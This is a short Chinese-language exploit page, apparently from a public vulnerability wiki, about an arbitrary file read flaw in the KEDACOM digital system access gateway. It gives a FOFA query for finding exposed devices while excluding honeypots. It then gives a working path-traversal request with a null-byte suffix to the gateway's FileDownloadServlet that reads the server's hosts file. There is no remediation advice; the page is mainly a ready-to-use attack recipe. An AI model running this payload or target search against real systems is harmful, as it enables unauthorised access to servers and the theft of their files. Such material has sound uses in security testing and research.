KEDACOM数字系统接入网关 任意文件读取漏洞.md
1.03 KB / 2021-07-04 06:01:08
# KEDACOM 数字系统接入网关 任意文件读取漏洞
## 漏洞描述
KEDACOM 数字系统接入网关 存在任意文件读取漏洞,攻击者通过构造请求可以读取服务器任意文件
## 漏洞影响
> [!NOTE]
>
> KEDACOM 数字系统接入网关
## FOFA
> [!NOTE]
>
> (app="KEDACOM-DVR接入网关") && (is_honeypot=false && is_fraud=false)
## 漏洞复现
登录页面如下
![](http://wikioss.peiqi.tech/vuln/ked-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
使用POC读取 /etc/hosts
```
/gatewayweb/FileDownloadServlet?fileName=test.txt&filePath=../../../../../../../../../../Windows/System32/drivers/etc/hosts%00.jpg&type=2
```
![](http://wikioss.peiqi.tech/vuln/ked-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)